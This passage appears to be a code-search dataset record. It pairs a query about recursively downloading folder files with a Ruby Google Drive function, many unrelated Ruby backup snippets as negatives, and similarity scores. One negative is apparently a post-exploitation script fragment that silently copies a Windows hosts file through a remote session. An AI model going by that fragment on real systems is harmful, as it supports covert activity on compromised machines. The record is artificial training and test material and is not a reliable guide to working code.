@options.files if @options.files\n\n files.flatten!\n\n process = Process.new(@options.backup_folder,\n files, \n @options.override, \n @options.no_compress,\n @options.max_backups)\n process.backup\n puts \"--> backed up files\"\n puts \" #{files.join(\"\\n \")}\"\n puts \"--> to #{@options.backup_folder}\"\n\n File.delete files[0] if @options.database\n end", "def remote_backup_path\n remote_path\n end", "def cmd_backup argv\n setup argv\n command = @hash['command']\n name = @hash['name']\n response = @api.backup(command, name)\n msg response\n return response\n end", "def get_backup(to_gzip = false)\n gzip_str = to_gzip ? '| gzip' : ''\n begin\n f = Tempfile.new(host, '/tmp')\n f.write(\"[client]\\npassword=#{password}\")\n f.close\n safe_run \"mysqldump \" \\\n \"--defaults-file=#{f.path} \" \\\n \"--host=#{host} \" \\\n \"--user=#{user} \" \\\n \"--all-databases \" \\\n \"--ignore-table=mysql.slow_log_backup \" \\\n \"--ignore-table=mysql.slow_log \" \\\n \"--single-transaction \" \\\n \"#{gzip_str} > #{local_path}\"\n ensure\n f.unlink\n end\n local_path\n end", "def local_backup_path\n [local_directory, Confluence.filename].join('/')\n end", "def backup(file = nil)\n Chef::Util::Backup.new(new_resource, file).backup!\n end", "def backup(file = nil)\n Chef::Util::Backup.new(new_resource, file).backup!\n end", "def backup_wallet\n client.make_request('/backup-wallet', 'post', params: {})\n end", "def copy_files\n @files.each do |file|\n basename = File.basename file\n FileUtils.cp file, @backup_folder + basename if File.file? file\n FileUtils.cp_r file, @backup_folder + basename if File.directory? file\n end\n end", "def tmpbkup(action=:create)\n bkup=@bkup\n begin\n if action == :create\n # Thx SO; https://stackoverflow.com/questions/88311/how-to-generate-a-random-string-in-ruby\n marker = (0...8).map { ('a'..'z').to_a[rand(26)] }.join\n\n Pem::Logger.logit(\"Creating backup of #{@location} to #{@location}#{marker}\")\n FileUtils.mv(@location,\"#{@location}#{marker}\")\n return \"#{@location}#{marker}\"\n elsif action == :restore\n Pem::Logger.logit(\"Backup cannot be nil!\", :fatal) if bkup.nil?\n raise('Backup cannot be nil!') if bkup.nil?\n\n Pem::Logger.logit(\"Restoring backup of #{@location} from #{bkup}\")\n FileUtils.rm_rf(@location)\n FileUtils.mv(bkup,@location)\n return nil\n elsif action == :purge\n Pem::Logger.logit(\"Backup cannot be nil!\", :fatal) if bkup.nil?\n raise('Backup cannot be nil!') if bkup.nil?\n\n Pem::Logger.logit(\"Purging backup of #{@location} from #{bkup}\")\n FileUtils.rm_rf(bkup)\n return nil\n end\n rescue StandardError => err\n Pem::Logger.logit(err, :fatal)\n raise(err)\n end\n end", "def backup_existing_file(file_path)\n FileUtils.move(file_path, \"#{file_path}-#{Time.now.to_i.to_s}\")\n end", "def make_backup\n @backup = editor.create_snapshot\n end", "def generate_backup\n if Export.launch_export!\n current_user.update(\n last_backup_at: Time.zone.now,\n last_backup_entry_id: current_user.last_entry_id\n )\n redirect_to backup_succeeded_path\n else\n redirect_to backup_failed_path\n end\n end", "def perform!\r\n super\r\n backup\r\n log!(:finished)\r\n end", "def bootstrap_folder\n FileUtils.mkdir_p folder_path\n end", "def get_backup\n safe_run \"scp #{user}@#{host}:#{remote_path} #{local_path}\"\n local_path\n end", "def local_backup_path #:nodoc:\n local_path\n end", "def before_backup\n end", "def store_backup!(stored_file)\n options = _equalize_phase_and_action(action: :backup, move: false)\n backup_store.upload(stored_file, context.merge(options))\n end", "def restore_archive\n end", "def backup(from: nil, to: nil)\n\n if @debug then\n puts 'ready to perform backup' \n puts \"from: %s to: %s\" % [from, to]\n end\n \n instructions = \"rsync -akL -e ssh %s %s\" % [from, to]\n\n puts 'instructions: ' + instructions if @debug \n \n # note: compression is not enabled since this is aimed at \n # single board computers which have limited CPU capability\n\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n puts 'r: ' + r.inspect if @debug\n \n # since it's running in the background, an empty string will be returned\n \n end", "def write_backup(filename = nil)\n Doing.logger.benchmark(:_write_backup, :start)\n filename ||= Doing.setting('doing_file')\n\n unless File.exist?(filename)\n Doing.logger.debug('Backup:', \"original file doesn't exist (#{filename})\")\n return\n end\n\n backup_file = File.join(backup_dir, \"#{timestamp_filename}___#{File.basename(filename)}\")\n # compressed = Zlib::Deflate.deflate(content)\n # Zlib::GzipWriter.open(backup_file + '.gz') do |gz|\n # gz.write(IO.read(filename))\n # end\n\n FileUtils.cp(filename, backup_file)\n\n prune_backups(filename, Doing.setting('history_size').to_i)\n clear_undone(filename)\n Doing.logger.benchmark(:_write_backup, :finish)\n end", "def create_folder_lock (backup_path, backup_date)\n #create backup time directory\n FileUtils.mkdir_p \"#{backup_path}#{backup_date}\"\n #create backup time lockfile\n lockfile = File.new(\"#{backup_path}\" + \"#{backup_date}.flock\", \"w+\").flock(File::LOCK_EX)\nend", "def copy_to_folder\n return @copy_to_folder\n end", "def bms_backup(opts = {})\n data, _status_code, _headers = bms_backup_with_http_info(opts)\n data\n end", "def archive!\n archive\n save!(validate: false)\n end", "def backup_the_file host, current_dir, new_dir, filename = 'puppet.conf'\n old_location = current_dir + '/' + filename\n new_location = new_dir + '/' + filename + '.bak'\n\n if host.file_exist? old_location\n host.exec(Command.new(\"cp #{old_location} #{new_location}\"))\n return new_location\n else\n logger.warn \"Could not backup file '#{old_location}': no such file\"\n nil\n end\n end", "def backupDir\n\t\tdataDir = self.dataDir\n\t\tif (dataDir.nil? || dataDir.empty? || dataDir[\"/var/pgsql\"])\n\t\t\treturn BACKUP_DIR\n\t\tend\n\t\treturn dataDir.sub(/Data\\z/, \"Backup\")\n\tend", "def copy_to_folder=(value)\n @copy_to_folder = value\n end", "def transfer\n\t\tattributes = super\n\t\tself.last_backup_date = Date.today\n\t\tset_next_backup_date\n\t\tself.save\n\t\tlog_transfer(attributes)\n\tend", "def prepare_local_folder(local_file_path)\n FileUtils.mkdir_p(backup_folder)\n File.delete(local_file_path) if File.exist?(local_file_path)\n end", "def zip_dump\n\t system(\"mongodump --host localhost --db #{@mongo_database} --out #{@base_path}\")\n\t Dir[@base_path + '*.zip'].select { |e| File.delete(e) }\n\t Zip::File.open(@zipfile_name, Zip::File::CREATE) do |zipfile|\n\t Dir[File.join(@directory, '**', '**')].each do |file|\n\t\t zipfile.add(file.sub(@directory + '/', ''), file)\n\t end\n\t end\n\t end", "def backup_sqlite3 (prefix)\n bkfilename = Rails.root.join(\"db\",\"backups\",\"#{prefix}-backup-\" + Time.now.strftime(\"%Y%m%d%H%M%S\") + \".tar.gz\").to_s\n `tar -zcvf \"#{addslashes(bkfilename)}\" db/*.sqlite3`\n bkfilename\nend", "def backuphosts(session,hosts)\n\trandom = sprintf(\"%.5d\",rand(100000))\n\tprint_status(\"Making Backup of the hosts file.\")\n\tsession.sys.process.execute(\"cmd /c copy #{hosts} #{hosts}#{random}.back\",nil, {'Hidden' => true})\n\tprint_status(\"Backup loacated in #{hosts}#{random}.back\")\nend", "def restore_dir\n cd @dir\n end", "def remote_backup_path\n [remote_directory, Confluence.filename].join('/')\n end", "def backup_game(game_name)\n games = GameList.from_config\n game = games.find_game(game_name)\n\n couldnt_find_game!(game_name) unless game\n run_backup!(game)\n end", "def restore(backup_name, dir)\n logger.info \"Downloading backup from FTP: #{worker.user_host_and_dir}\"\n @worker.connect_and_get_file backup_name, File.join(dir, backup_name)\n end", "def transfer!\n backup = connection.backups.create\n Logger.info \"Created backup [#{backup.id}]\"\n\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n metadata = {}\n\n [:sha512sum, :sha1sum, :cksum].each do |cmd|\n if !`which #{cmd}`.empty?\n metadata[cmd] = %x|#{cmd} #{src}|.split.first\n break\n end\n end\n\n metadata[:size] = %x|ls -sh #{src}|.split.first\n\n backup_file = backup.files.create(filename: src, metadata: metadata)\n Logger.info \"Created backup file [#{backup_file.id}]\"\n\n Logger.info \"EngineYard performing upload of '#{File.join(src)}' to '#{backup_file.upload_url}' with metadata '#{metadata.inspect}'.\"\n\n backup_file.upload(file: src)\n end\n Logger.info \"Finished uploading files for backup [#{backup.id}]\"\n\n backup.finish!\n\n Logger.info \"Finished backup [#{backup.id}]\"\n end", "def backup_file(uploaded_file)\n uploaded_file(uploaded_file.to_json) do |file|\n file.data[\"storage\"] = backup_storage.to_s\n end\n end", "def create(folder,name)\n \t@name = name\n \t@folder = folder\n @lenght = 0\n list = Dir.glob(\"#{folder}/#{name}*\")\n \tlist.each do |path|\n \t self << Backup.new(path)\n @lenght += 1\n \tend\n \tself.sort_by! {|bck| bck.date}\n end", "def get_backup\n tar_file = get_tempfile\n safe_run \"tar -cf #{tar_file} #{tar_dir}\"\n tar_file\n end", "def copy_backup project_id:, instance_id:, cluster_id:, backup_id:, source_backup:, expire_time:\n tables.copy_backup parent: \"projects/#{project_id}/instances/#{instance_id}/clusters/#{cluster_id}\",\n backup_id: backup_id,\n source_backup: source_backup,\n expire_time: expire_time\n end", "def backup\n BACKUP_MODELS.each do |obj|\n puts \"Preparing to back up #{obj}\"\n self.send(obj.to_sym)\n end \n end", "def backup\n if Setting.getValue('backup') && Setting.getValue('backup_location').present?\n File.open(\"#{Setting.getValue('backup_location')}/taxonomy/#{self.seo_url}.json\", 'w+') do |fh|\n fh.write self.to_json\n end\n end\n end", "def perform\n tmp_mongo_dir = \"mongodump-#{Time.now.strftime(\"%Y%m%d%H%M%S\")}\"\n tmp_dump_dir = File.join(tmp_path, tmp_mongo_dir)\n\n case self.backup_method.to_sym\n when :mongodump\n #this is the default options \n # PROS:\n # * non-locking\n # * much smaller archive sizes\n # * can specifically target different databases or collections to dump\n # * de-fragements the datastore\n # * don't need to run under sudo\n # * simple logic\n # CONS:\n # * a bit longer to restore as you have to do an import\n # * does not include indexes or other meta data\n log system_messages[:mongo_dump]\n exit 1 unless run \"#{mongodump} #{mongodump_options} #{collections_to_include} -o #{tmp_dump_dir} #{additional_options} > /dev/null 2>&1\"\n when :disk_copy\n #this is a bit more complicated AND potentially a lot riskier: \n # PROS:\n # * byte level copy, so it includes all the indexes, meta data, etc\n # * fast recovery; you just copy the files into place and startup mongo\n # CONS:\n # * locks the database, so ONLY use against a slave instance\n # * copies everything; cannot specify a collection or a database\n # * will probably need to run under sudo as the mongodb db_path file is probably under a different owner. \n # If you do run under sudo, you will probably need to run rake RAILS_ENV=... if you aren't already\n # * the logic is a bit brittle... \n log system_messages[:mongo_copy]\n\n cmd = \"#{mongo} #{mongo_disk_copy_options} --quiet --eval 'printjson(db.isMaster());' admin\"\n output = JSON.parse(run(cmd, :exit_on_failure => true))\n if output['ismaster']\n puts \"You cannot run in disk_copy mode against a master instance. This mode will lock the database. Please use :mongodump instead.\"\n exit 1\n end\n \n begin\n cmd = \"#{mongo} #{mongo_disk_copy_options} --quiet --eval 'db.runCommand({fsync : 1, lock : 1}); printjson(db.runCommand({getCmdLineOpts:1}));' admin\"\n output = JSON.parse(run(cmd, :exit_on_failure => true))\n\n #lets go find the dbpath. it is either going to be in the argv just returned OR we are going to have to parse through the mongo config file\n cmd = \"mongo --quiet --eval 'printjson(db.runCommand({getCmdLineOpts:1}));' admin\"\n output = JSON.parse(run(cmd, :exit_on_failure => true))\n #see if --dbpath was passed in\n db_path = output['argv'][output['argv'].index('--dbpath') + 1] if output['argv'].index('--dbpath') \n #see if --config is passed in, and if so, lets parse it\n db_path ||= $1 if output['argv'].index('--config') && File.read(output['argv'][output['argv'].index('--config') + 1]) =~ /dbpath\\s*=\\s*([^\\s]*)/ \n db_path ||= \"/data/db/\" #mongo's default path\n run \"cp -rp #{db_path} #{tmp_dump_dir}\" \n ensure\n #attempting to unlock\n cmd = \"#{mongo} #{mongo_disk_copy_options} --quiet --eval 'printjson(db.currentOp());' admin\"\n output = JSON.parse(run(cmd, :exit_on_failure => true))\n (output['fsyncLock'] || 1).to_i.times do\n run \"#{mongo} #{mongo_disk_copy_options} --quiet --eval 'db.$cmd.sys.unlock.findOne();' admin\"\n end\n end\n else\n puts \"you did not enter a valid backup_method option. Your choices are: #{BACKUP_METHOD_OPTIONS.join(', ')}\"\n exit 1\n end \n \n log system_messages[:compressing]\n run \"tar -cz -C #{tmp_path} -f #{File.join(tmp_path, compressed_file)} #{tmp_mongo_dir}\"\n end", "def wRestoreDump()\n puts \"Back up commencing...\"\n Dir.chdir('/Users/jeydurai')\n system('start_mongorestore.bat')\n end" ]
[ "0.71325934", "0.7015148", "0.6992402", "0.6969956", "0.6933985", "0.68737346", "0.67228353", "0.6708375", "0.6612531", "0.66111714", "0.6593981", "0.656416", "0.6561866", "0.6541312", "0.6539145", "0.65032005", "0.6470927", "0.6464696", "0.644051", "0.6427834", "0.6398943", "0.6390851", "0.637501", "0.6356285", "0.632109", "0.62954724", "0.6270933", "0.62696743", "0.6267571", "0.6254623", "0.6251296", "0.6213942", "0.61925167", "0.614712", "0.6089361", "0.60798496", "0.6066921", "0.6053856", "0.60066533", "0.59788597", "0.5949854", "0.59115654", "0.5884408", "0.5877527", "0.587579", "0.587224", "0.5871076", "0.58633596", "0.5835641", "0.58152074", "0.5813166", "0.5793978", "0.5783847", "0.57794404", "0.5763408", "0.57575315", "0.5746679", "0.574213", "0.5720377", "0.5720377", "0.5719144", "0.569915", "0.56985766", "0.5686564", "0.5677208", "0.5674117", "0.5667929", "0.56582236", "0.56498075", "0.56483763", "0.56435263", "0.5641752", "0.5633533", "0.5629328", "0.5615931", "0.5607471", "0.5607288", "0.5603116", "0.5597117", "0.5590796", "0.5584742", "0.5581226", "0.5572704", "0.5542655", "0.5519009", "0.5513171", "0.5498061", "0.5478748", "0.54769754", "0.5475249", "0.5468913", "0.5456567", "0.54533726", "0.5443131", "0.54430395", "0.54371816", "0.5433256", "0.54289806", "0.5428789", "0.542058" ]
0.6770637
6
Recursively download every file in a folder
def backup_folder_rec(folder_id, path) results = @client.execute!( api_method: @drive_api.files.list, parameters: { q: "'#{folder_id}' in parents" }) children = results.data.items # puts "Children: #{children.size}" # puts 'No Children found' if children.empty? download_children children, path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def download_files\n path = Conf::directories.tmp\n manager = @current_source.file_manager\n manager.start do\n @current_source.folders.each do |folder|\n files = @files[folder]\n puts \"folder => #{folder}, Files => #{files}\" if @opts[:v]\n next if files.empty? \n # download into the TMP directory by folder\n spath = File.join(path, @current_source.name.to_s,folder)\n manager.download_files files,spath,v: true\n move_files folder\n @current_source.schema.insert_files files,folder\n SignalHandler.check { Logger.<<(__FILE__,\"WARNING\",\"SIGINT Catched. Abort.\")}\n end\n end\n end", "def sort_files\n # Iterate thru files in @download_path\n cd(@download_path) do\n Find.find(pwd) do |path_to_file|\n @current_file_path = path_to_file\n next if @current_file_path == pwd # don't include the download folder as one of the files\n update_progress\n @file_directory, @file_name = File.split(@current_file_path)\n next if @file_name[0..0] == \".\" # skip any files/directories beginning with .\n # Stop searching this file/directory if it should be skipped, otherwise process the file\n should_skip_folder? ? Find.prune : process_download_file\n end\n end\n end", "def download_children(children, path)\n children.each do |child|\n new_path = \"#{path}/#{child.title}\"\n backup_folder_rec child.id, new_path if child.mimeType == FOLDER\n download_if_allowed_child child, new_path\n end\n end", "def bulk_download_folder(file)\n self.name == '/' ? \"root_dir/#{file[:name]}\": file[:name]\n end", "def each_file(&bl)\n unpack do |dir|\n Pathname.new(dir).find do |path|\n next if path.to_s == dir.to_s\n pathstr = path.to_s.gsub(\"#{dir}/\", '')\n bl.call pathstr unless pathstr.blank?\n end\n end\n end", "def each_file(&bl)\n unpack do |dir|\n Pathname(dir).find do |path|\n next if path.to_s == dir.to_s\n pathstr = path.to_s.gsub(\"#{dir}/\", '')\n bl.call pathstr unless pathstr.blank?\n end\n end\n end", "def download_response_files!\n files_downloaded = []\n File.makedirs(cache_location + '/returns')\n with_ftp do |ftp|\n files = ftp.list('*.csv')\n files.each do |filels|\n size, file = filels.split(/ +/)[4], filels.split(/ +/)[8..-1].join(' ')\n ftp.get(file, cache_location + '/returns/' + user_suffix + '_' + file)\n files_downloaded << file\n end\n end\n files_downloaded\n end", "def download_all_files files,dest\n return if files.empty?\n RubyUtil::partition files do |sub|\n cmd = \"mv -t #{dest} \"\n cmd += sub.map { |f| \"\\\"#{f.full_path}\\\"\" }.join(' ')\n exec_cmd(cmd) \n end\n # update files object !\n files.map! { |f| f.path = dest; f }\n end", "def files(rootDir)\n Dir.foreach(rootDir) do |dir|\n if dir != \".\" && dir != \"..\"\n puts \"Processing \" + dir\n Dir.foreach(rootDir + \"/\" + dir) do |file|\n if file != \".\" && file != \"..\"\n open(rootDir + \"/\" + dir + \"/\" + file) do |f|\n yield(f)\n end\n end\n end\n end\n end\nend", "def retrieve_github_files(url)\n\n #create a virtual browser with a Chrome Windows Agent\n agent = Mechanize.new\n agent.user_agent = CHROME_USER_AGENT\n\n #retrieve the page and report if page not found (404)\n begin\n page = agent.get(url)\n rescue Exception => e\n #REPORT THE ERROR\n end\n\n #recursively download all content\n get_files_from_github_page(page)\n\n end", "def dir_download(*paths); net_scp_transfer!(:download, true, *paths); end", "def files(folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/files/list?parent_id=%i' % [folder]).files\n end", "def crawl #TODO: (base, source, query, exclusion[])\n folders = get_folders\n links = get_links(folders)\n filtered_links = filter_links(links) #TODO: add exclusion array\n download_files(filtered_links)\n end", "def each_file(directory)\n directory_contents(directory).each do |path|\n yield path\n end\n end", "def download_all_files files,dest,opts = {}\n @ssh.sftp.connect do |sftp|\n ## in case we have too much files !!\n RubyUtil::partition files do |sub|\n dl = []\n sub.each do |file|\n dest_file = ::File.join(dest,file.cname)\n dl << sftp.download(file.full_path,dest_file) \n end\n dl.each { |d| d.wait }\n end\n end\n files.each { |f| f.path = dest; f.downloaded = true }\n files\n end", "def download_files(files, dest_dir)\n pool = PatchFinder::ThreadPool.new(3)\n\n files.each do |f|\n pool.schedule do\n download_file(f, dest_dir)\n end\n end\n\n pool.shutdown\n\n sleep(0.5) until pool.eop?\n end", "def traverse(dir, base=dir, &block)\n return unless File.directory?(dir)\n Dir.new(dir).each do |file|\n next if file == '.' or file == '..'\n path = File.join(dir, file)\n if File.directory?(path)\n traverse(path, base, &block)\n else\n block.call(path.sub(base+'/',''))\n end\n end\n end", "def foreach(&block)\n ::Dir.foreach(path, &block)\n end", "def each_file\n @sftp.dir.foreach(@path.to_s) do |entry|\n filename = entry.name\n yield filename unless directory? filename\n end\n end", "def get_files\n fields = \"next_page_token, files(id, name, owners, parents, mime_type, sharedWithMeTime, modifiedTime, createdTime)\"\n\n folders = []\n @files = []\n\n #Go through pages of files and save files and folders\n next_token = nil\n first_page = true\n while first_page || (!next_token.nil? && !next_token.empty?)\n results = @service.list_files(q: \"not trashed\", fields: fields, page_token: next_token)\n folders += results.files.select{|file| file.mime_type == DRIVE_FOLDER_TYPE and belongs_to_me?(file)}\n @files += results.files.select{|file| !file.mime_type.include?(DRIVE_FILES_TYPE) and belongs_to_me?(file)}\n next_token = results.next_page_token\n first_page = false\n end\n\n #Cache folders\n folders.each {|folder| @folder_cache[folder.id] = folder}\n\n #Resolve file paths and apply ignore list\n @files.each {|file| file.path = resolve_path file}\n @files.reject!{|file| Helper.file_ignored? file.path, @config}\n\n Log.log_notice \"Counted #{@files.count} remote files in #{folders.count} folders\"\n end", "def download\n link=params[:link]\n all_html = Nokogiri::HTML(open(link))\n create_folder\n save_html(all_html)\n #Get All CSS File\n all_html.xpath('//link/@href').each do |row|\n if check_link(row)\n css_path=row\n else\n css_path=link+row\n end\n getcss(css_path)\n end\n #Get All JS File\n all_html.xpath('//script/@src').each do |row|\n if check_link(row)\n js_path=row\n else\n js_path=link+row\n end\n\n getjs(js_path)\n end\n #Get All Images File\n all_html.xpath('//img/@src').each do |row|\n if check_link(row)\n images_path=row\n else\n images_path=link+row\n end\n\n getimages(images_path)\n end\n end", "def download_files(url, path)\n client = RightSupport::Net::HTTPClient.new\n response = client.get(url, :timeout => 10)\n File.open(path, \"wb\") { |file| file.write(response) } unless response.empty?\n File.exists?(path)\n rescue Exception => e\n Log.error(\"#{e.class.name}: #{e.message} - #{e.backtrace.first}\")\n false\n end", "def download_files\n files = @settings['files']\n gd = GoogleDownloader.new @settings\n\n files.each do |target_file, file_id|\n target_file = target_file + \".yml\" if target_file !~ /\\.yml$/\n response = gd.download target_file, @tmp_folder, file_id\n @csv_files[target_file] = csv_convert(target_file)\n end\n end", "def discover_items_via_crawl(root)\n Dir.glob(\"#{root}/**/*\").select { |fname| File.file?(fname) }\n end", "def process_directory(dir, files, rec)\n dir.children(true).each do |f|\n # ignore sub-directories\n if f.directory?\n if rec == false\n next\n else\n process_directory(f.expand_path, files, rec)\n end\n end\n process_file(f.expand_path, files)\n end\n end", "def files_for_directory(path)\n directory = find_preferred_file(\n @new_resource.cookbook_name, \n :remote_file, \n path, \n @node[:fqdn],\n @node[:platform],\n @node[:platform_version]\n )\n\n unless (directory && ::File.directory?(directory))\n raise NotFound, \"Cannot find a suitable directory\"\n end\n\n directory_listing = Array.new\n Dir[::File.join(directory, '**', '*')].sort { |a,b| b <=> a }.each do |file|\n next if ::File.directory?(file)\n file =~ /^#{directory}\\/(.+)$/\n directory_listing << $1\n end\n directory_listing\n end", "def download_folder\n folder = params[:fold]\n # Delete old .zip files\n FileUtilsC.delete_files_by_types(folder[0..folder.rindex('/') - 1], ['.zip'])\n\n if !folder.blank?\n # Zip folder and send zip file to client\n zipfile_name = BrowsingFile.zip_folder folder\n send_file zipfile_name, type: 'application/zip', x_sendfile: true\n end\n end", "def get_entries(dir, subfolder); end", "def sequential_files\n get_files_in_dir(@sequential_dir)\n end", "def all_files_in(dir_name)\n Nanoc::FilesystemTools.all_files_in(dir_name)\n end", "def get_remote_files\n manager = @current_source.file_manager\n manager.start do \n @current_source.folders.each do |folder|\n @files[folder] = manager.find_files folder\n @files[folder] = @files[folder].take(@take) if @take\n Logger.<<(__FILE__,\"INFO\",\"Found #{@files[folder].size} files for #{@current_source.base_dir}/#{folder} at #{@current_source.host.address}\")\n SignalHandler.check\n end\n end\n end", "def recursive_file_list( root_dir)\n\t\treturn nil unless File.directory?(root_dir)\n\t\tlist = []\n\t\tDir.entries( root_dir).reject{|e| e=~/^\\./}.each { |e| \n\t\t\tpath = File.join( root_dir, e)\n\t\t\tif File.directory?( path)\n\t\t\t\t# puts \"Dir: #{path}\"\n\t\t\t\t list += recursive_file_list(path)\n\t\t\telsif File.file?(path)\n\t\t\t\t# puts \"File: #{path}\"\n\t\t\t\t list << path\n\t\t\tend\t\n\t\t}\n\t\tlist\n\tend", "def find_files folder\n unless @started\n Logger.<<(__FILE__,\"ERROR\",\"FileManager is not started yet !\")\n abort\n end\n if @subfolders\n files = sub_listing folder\n else\n path = ::File.join(@source.base_dir,folder)\n files = files_listing path\n end\n files = files_filtering files\n files = files.take(@take) if @take\n to_file(files)\n end", "def read_dir(dir, &blk)\n Dir.chdir(dir){\n Dir[\"*\"].each do |folder|\n unless ::File.directory?(folder)\n yield ::File.expand_path(folder)\n else\n read_dir(folder, &blk) unless ::File.symlink?(folder)\n end\n end\n }\n end", "def crawl_hiera_directory(directory)\n files = []\n Dir[directory + '/**/*.yaml'].each { |f| files << File.absolute_path(f) }\n return files\n end", "def pull_files(remote_path,local_path)\n debug_p(\"pull_files from #{remote_path} to #{local_path}\")\n @sftp_session.dir.foreach(remote_path){ |path|\n #unless path.name == \".\" || path.name == \"..\"\n #not directory\n unless /^d/ =~ path.longname\n @sftp_session.download!(remote_path + \"/\" + path.name,local_path + \"/\" + path.name)\n end\n #end\n }\n end", "def files(directory)\n files_list = Dir[directory + '/*']\n files = []\n\n files_list.each do |file|\n if File.directory?(file)\n dir_files = files(file)\n dir_files.each { |f| files << f }\n end\n files << file\n end\n files\n end", "def find_files( config )\n files = []\n config.each do |c|\n Config.verify_config_dirs( c )\n\n dir = c[\"directory\"].chomp(\"/\")\n recursive = Config.convert_yaml_bools( c[\"recursive\"] ) \n \n if File.directory? dir \n unless recursive\n Dir.glob( \"#{dir}/*\" ).each do |d|\n files << d unless File.directory? d or File.symlink? d\n end\n else\n Dir.glob(\"#{dir}/**/*\").each do |d|\n files << d unless File.directory? d or File.symlink? d \n end \n end\n else\n Dir.glob( dir ).each do |d|\n files << d \n end\n end\n end\n files\nend", "def find_files_recursive (base_directory, relative_path)\n result = []\n directory = File.join(base_directory, relative_path)\n Dir.foreach(directory) do |file|\n relative_file = relative_path.empty? ? file : File.join(relative_path, file)\n if matchesFilters(file, relative_file)\n full_path = File.join(base_directory, relative_file)\n if File.directory?(full_path)\n result = result + find_files_recursive(base_directory, relative_file)\n else\n result << relative_file\n end\n end\n end\n result\n end", "def download_folder(folder_name)\n bucket_name = 'secrets-dev'\n files = @s3.list_objects(bucket: bucket_name)\n FileUtils.mkdir_p(folder_name)\n\n files.contents.each do |obj|\n next unless obj.key =~ /^#{folder_name}\\//\n file = File.new(\"#{obj.key}\", \"w\")\n file.binmode\n\n io_ref = @s3.get_object(bucket: bucket_name, key: obj.key)\n file.write io_ref.body.read\n file.close\n end\n end", "def get_folders\n doc = Nokogiri::HTML(open(url))\n doc.xpath(\"//@href\").map do |url|\n url.value\n end\n end", "def get_files (path, files_found) \n\t\tif File.directory? path\n\t\t\tDir.foreach path do |file| \n\t\t\t\tif (!EXCLUDED_FILES.include? file)\n\t\t\t\t\tget_files(path+file, files_found) \n\t\t\t\tend\n\t\t\tend\n\t\telsif File.file? path\n\t\t\tfiles_found << path\n\t\tend\n\tend", "def all_directories dir\n Dir[\"#{dir}**/\"]\nend", "def each(&block)\n files.each(&block)\n\n directories.each do |subdirectory|\n block.call(subdirectory)\n\n subdirectory.each(&block)\n end\n end", "def find_files\n find_files_recursive(@build_result_dir, '')\n end", "def run_on_folder(folder)\n files_array = Dir.open(folder)\n return if files_array.entries.empty?\n files_array.each do |file_name|\n next if File.directory? file_name\n run(folder + file_name)\n end\n end", "def each_directory(&block)\n @directories.each(&block)\n end", "def get_files(site, folder)\n files = []\n Dir.chdir(File.join(site.source, folder)) { files = filter_entries(Dir.glob('**/*.*')) }\n files\n end", "def get_files(dir)\r\n\t\r\n\t\t\tfiles = Dir.glob(dir)\r\n\t\t\tdir_path = dir.chomp(\"*\")\r\n\r\n\t\t\tfor file in files\r\n\t\t\t\tunless File.directory?(file)\r\n\t\t\t\t\tif @ext.include?(File.extname(file))\r\n\t\t\t\t\t\tread_lines file\r\n\t\t\t\t\t\t@num_files = @num_files+1\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\telse\r\n\t\t\t\t\tget_files file+\"/*\"\r\n\t\t\t\tend\r\n\r\n\t\t\tend\r\n\t\tend", "def download_remotefiles\n logger.debug('DOWNLOADING FILES.')\n # sftp= Net::SFTP.start('belkuat.workhorsegroup.us', 'BLKUATUSER', :password => '5ada833014a4c092012ed3f8f82aa0c1')\n # ENV.fetch('WORKHORSE_HOST_SERVER'), ENV.fetch('WORKHORSE_HOST_USERNAME'), :password => ENV.fetch('WORKHORSE_HOST_PASSWORD')\n begin\n Net::SFTP.start(ENV.fetch('WORKHORSE_HOST_SERVER'), ENV.fetch('WORKHORSE_HOST_USERNAME'), :password => ENV.fetch('WORKHORSE_HOST_PASSWORD')) do |sftp|\n sftp.dir.glob(WORKHORSE_TO_SALSIFY, '*').each do |file|\n file_name = file.name\n sftp.download!(File.join(WORKHORSE_TO_SALSIFY, '/', file_name), File.join(LOCAL_DIR, file_name), :progress => CustomDownloadHandler.new)\n zip_files.push(file_name) if File.extname(file_name).eql?('.zip')\n end\n end\n rescue Exception => e\n logger.debug('Error is download file ' + e.message)\n end\n\n logger.debug('FILES DOWNLOADED.')\n end", "def files() = files_path.glob('**/*')", "def find_files(base_dir, flags); end", "def generate_file_path(dir, files_to_load)\n Dir.foreach(dir) do |fname|\n unless fname == '.' || fname == '..'\n files_to_load << \"./#{dir}/#{fname}\"\n end\n end\nend", "def remote_files(bucket, folders)\n objects = @s3.buckets[bucket].objects.with_prefix(File.join(folders))\n objects.each do |object|\n relative_path = object.key.split(/\\//).drop folders.length\n next if object.content_length.nil? or object.content_length == 0 or relative_path.empty?\n yield remote_item(object, relative_path)\n end\n end", "def download_and_read_docs\n return enum_for :download_and_read_docs unless block_given?\n\n tmpdir = '/tmp/rugments'\n php_manual_url = 'http://us3.php.net/distributions/manual/php_manual_en.tar.gz'\n\n sh \"rm -rf #{tmpdir}\" if Dir.exist?(tmpdir)\n sh \"mkdir -p #{tmpdir}\"\n Dir.chdir(tmpdir) do\n sh \"curl -L #{php_manual_url} | tar -xz\"\n\n Dir.chdir('./php-chunked-xhtml') do\n Dir.glob('./ref.*').sort.each { |x| yield File.read(x) }\n end\n end\nend", "def each_directory_in_tree(include_self: true)\n self.directories_in_tree(include_self: include_self).find_each do |directory|\n yield directory\n end\n end", "def getFiles (conf)\n # include even .xxx ( dotted ) files \n\t(Dir.glob(\"*\", File::FNM_DOTMATCH) - %w[. ..]).each do |f|\n\t\tf=File.expand_path(f)\t\t\t# get complete path for file\n ts = File.mtime(f)\n\t\tif File.directory?(f)\n conf[:fsize] += 1 #count dirs as size 1\n conf[:zipFiles]<< f #add even excluded dir as empty folder only\n\t\t\tnext if exclude(f,conf[:exDirs])\n conf[:modTS] = ts if ts > conf[:modTS]\n\t\t\tDir.chdir(f)\n\t\t\tgetFiles(conf)\t# recursively explore subdir\n\t\t\tDir.chdir(\"..\")\n\t\telse\n next if exclude(f,conf[:exFiles])\n\t\t\tconf[:zipFiles]<< f \n conf[:fsize] += File.size(f)\n conf[:modTS] = ts if ts > conf[:modTS]\n\n\t\tend\n\tend\nend", "def add_folder_recursive(folder_params)\n folder = browse(folder_params[:foreign_ref])\n\n # prepare file array\n files = []\n\n folder.each do |child|\n # 